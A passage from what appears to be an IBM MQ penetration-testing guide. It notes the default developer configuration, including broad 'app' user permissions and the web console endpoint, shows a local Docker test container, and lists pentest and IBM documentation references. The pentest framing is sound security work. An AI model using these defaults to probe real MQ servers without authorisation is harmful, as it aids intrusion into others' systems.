- `DEV.BASE.TOPIC` is created with topic string `dev/` 605 - the `app` user is usually granted `put`, `get`, `browse`, `inq`, `pub`, and `sub` on `DEV.*` resources 606 - `https://<target>:9443/ibmmq/console` exposes the web console when the embedded web server is enabled 607 608 You should have the IBM MQ up and running with its ports exposed: 609 610 ```bash 611 ❯ sudo docker ps 612 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 613 58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq 614 ``` 615 616 > The old version of IBM MQ docker images are at: https://hub.docker.com/r/ibmcom/mq/. 617 618 ## References 619 620 - [1] [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) 621 - [2] [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) 622 - [3] [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq) 623 - [4] [IBM MQ REST API: `/admin/action/qmgr/{qmgrName}/mqsc`](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=resources-adminactionqmgrqmgrnamemqsc) 624 - [5] [IBM MQ messaging REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=mq-messaging-using-rest-api) 625 - [6] [IBM MQ token-based authentication for the REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=security-using-token-based-authentication-rest-api) 626 - [7] [IBM MQ container default developer configuration](https://github.com/ibm-messaging/mq-container/blob/master/docs/developer-config.md) 627 - [8] [Defining an administrative subscription](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=subscriptions-defining-administrative-subscription) 628 - [9] [Starting IBM MQ applications using triggers](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=queuing-starting-mq-applications-using-triggers) 629 - [10] [Redistributable IBM MQ clients](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=overview-redistributable-mq-clients) 630 - [11] [SensePost – Punching Messages in the Q](https://sensepost.com/blog/2018/punching-messages-in-the-q/) 631 - [12] [IBM MQ - User identities in IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=authentication-user-identities-in-mq)